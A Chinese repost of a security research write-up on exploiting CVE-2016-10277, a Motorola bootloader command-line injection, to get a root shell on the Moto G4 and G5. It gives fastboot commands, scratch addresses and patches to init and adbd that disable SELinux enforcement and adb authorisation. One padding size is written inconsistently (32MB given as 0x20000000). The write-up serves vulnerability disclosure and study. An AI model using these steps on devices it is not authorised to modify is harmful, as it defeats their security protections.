zl程序教程

您现在的位置是:首页 >  其他

当前栏目

攻击场景还原:本地ROOT Moto G4 & G5设备(附利用代码)

amp设备攻击代码 利用 本地 场景 root
2023-09-27 14:26:07 时间
本文讲的是攻击场景还原:本地ROOT Moto G4 G5设备(附利用代码),在之前的文章中,我们曾提到CVE-2016-10277可能会影响其他摩托罗拉设备。而在Twitter上收到一些相关的报告之后,我们购买了摩托罗拉的几台设备,并且更新到最新的可用版本以进行此次的测试。
Moto G4 athene XT1622,运行的系统:NPJS25.93-14.4,bootloader moto-msm8952-B1.05。

Moto G5 cedric XT1676,运行的系统:NPP25.137-33,bootloader moto-msm8937-B8.09。

前文回顾

1、摩托罗拉Android Bootloader(ABOOT)的版本漏洞允许内核命令行注入。

2、我们可以注入一个名为initrd的参数,这使我们能够迫使Linux内核从指定的物理地址来填充initramfs到rootfs。

3、我们可以为了把我们自己的恶意initramfs放置在一个已知的物理地址名为SCRATCH_ADDR(0x11000000适用于Nexus 6)而滥用ABOOT下载功能,。

4、利用此漏洞攻击者可以获得无限制的root shell。

在Moto G4&G5上验证CVE-2016-10277

验证设备确实存在该漏洞的是非常简单的,一个简单的fastboot oem config fsg-id "a androidboot.foo=bar"导致ro.boot.foo创建属性:

$ fastboot oem config fsg-id "a androidboot.foo=bar"

(bootloader)  UTAG name="fsg-id" type="str" protected="false" 

(bootloader)    value 

(bootloader)     a androidboot.foo=bar

(bootloader)    /value 

(bootloader)    description 

(bootloader)     FSG IDs, see http://goo.gl/gPmhU

(bootloader)    /description 

(bootloader)  /UTAG 

OKAY [  0.013s]

$ fastboot continue

$ adb shell

cedric:/ $ getprop ro.boot.foo

cedric:/ $

这证明了这个参数已被注入到cedric内核命令行中。(有类似的结果athene)

接下来,我们验证了我们可以控制initrd参数,这允许我们强制Linux内核initramfs从指定的物理地址加载。我们运行了fastboot oem config fsg-id "a initrd=0x12345678,1234",并且期望内核崩溃。事实上,它确实崩溃了!

移植到Moto G4&G5

如上所述,在我们利用此漏洞之前,需要解决两个G4&G5具体要求:

1、查找SCRATCH_ADDR引导程序使用的值。

2、创建恶意initramfs档案。

查找SCRATCH_ADDR值

加载athene的和cedric的ABOOTs在IDA中很快显示出了SCRATCH_ADDR:

 

// athene

signed int target_get_scratch_address()

  return 0x90000000;

// cedric

signed int target_get_scratch_address()

  return 0xA0100000;

}

验证SCRATCH_ADDR值

在我们进入恶意initramfs创建之前,我们想验证这些SCRATCH_ADDR的值确实是正确的,否则很难确定潜在的问题。而事实也说明了我们的这一计划非常正确,我们将在下面看到结果。

为了验证地址,我们initramfs从摩托罗拉官方固件中的引导映像中提取原始存档。然后,我们利用这个漏洞加载官方initramfs,而不是从SCRATCH_ADDR。

$ fastboot oem config fsg-id "a initrd=0x90000000,1766036"

(bootloader)  UTAG name="fsg-id" type="str" protected="false" 

(bootloader)    value 

(bootloader)     a initrd=0x90000000,1766036

(bootloader)    /value 

(bootloader)    description 

(bootloader)     FSG IDs, see http://goo.gl/gPmhU

(bootloader)    /description 

(bootloader)  /UTAG 

OKAY [  0.015s]

finished. total time: 0.015s

$ fastboot flash aleph initramfs.cpio.gz

target reported max download size of 536870912 bytes

sending aleph (1725 KB)...

OKAY [  1.088s]

writing aleph...

(bootloader) Invalid partition name aleph

FAILED (remote failure)

finished. total time: 1.095s

$ fastboot continue

显然这不是正常加载,设备也因此进入了无限的引导循环,这让我们感到很困惑。

填充Payload

然后我们进行了大胆的猜测。我们已经意识到,当我们上传initramfs到SCRATCH_ADDR中,之前ABOOT跳跃到Linux内核中,cedric的以及athene的ABOOTs会把一些其他不相关的数据放到SCRATCH_ADDR中,破坏我们的initramfs(但不是全部)。

要想克服这个困难,可以在initramfs之前进行填充数据,并相应地进行initrd调整(到 SCRATCH_ADDR + sizeof(PADDING))。因此,如果我们的假设是真实的,我们将在Linux内核执行之前具有以下内存布局:

 

.--------------------------------.----------------------.

| Physical Address               | Data                 |

|--------------------------------|----------------------|

| SCRATCH_ADDR                   | Corrupted PADDING    |

| SCRATCH_ADDR + sizeof(PADDING) | Controlled initramfs |

`------------------------------------------------------

使用这种技术,通过32MB的padding(0x20000000)都解决了我们的引导循环。

为Moto G4&G5创建initramfs

在Nexus 6的环境下,为了创建一个initramfs来使adb给我们一个无限制的root shell,我们刚刚已经编译了一个AOSP userdebug图像,这样做是因为userdebug 图像拥有可以胜任的su的SELinux域,以及给定一些系统性能的adbd,不是setuid/ setgid到shell,也不放弃自己的能力,不要求授权。 

由于我们没有Moto G4和Moto G5的构建配置,我们决定采取最快的路径,修补官方initramfs档案:

1、通过Patching init,我们已经将SELinux置于permissive模式。结果代码类似于以下内容:

static void selinux_initialize(bool in_kernel_domain) {

[...]

 if (in_kernel_domain) {

[...]

     bool is_enforcing = selinux_is_enforcing();

     security_setenforce(0); // always permissive

[...]

}

2、修补adbd,使其保持为root并且不会降低其功能。(我们用NOPs 替换了相关的电话)。

3、修补adbd,不要求授权。(我们将auth_required全局设置为0)。

4、dm-verity在相关分区上禁用

5、删除了锁定的设备USB策略 init.mmi.usb.sh

6、其他

更新PoC上的可用initroot库。

做完所有这些:成功拿到root shell!

在Moto G4:

 

$ fastboot oem config fsg-id "a initrd=0x92000000,1774281"

$ fastboot flash aleph initroot-athene.cpio.gz

$ fastboot continue

$ adb shell

athene:/ # id

uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3014(readproc) context=u:r:kernel:s0

athene:/ # getenforce

Permissive

athene:/ #

在Moto G5上:

$ fastboot flash aleph initroot-cedric.cpio.gz

$ fastboot continue$ adb shell 

cedric:/ # id

uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3014(readproc) context=u:r:kernel:s0

cedric:/ # getenforce

Permissive

cedric:/ #
原文发布时间为:2017年6月16日 本文作者:Change 本文来自云栖社区合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。 原文链接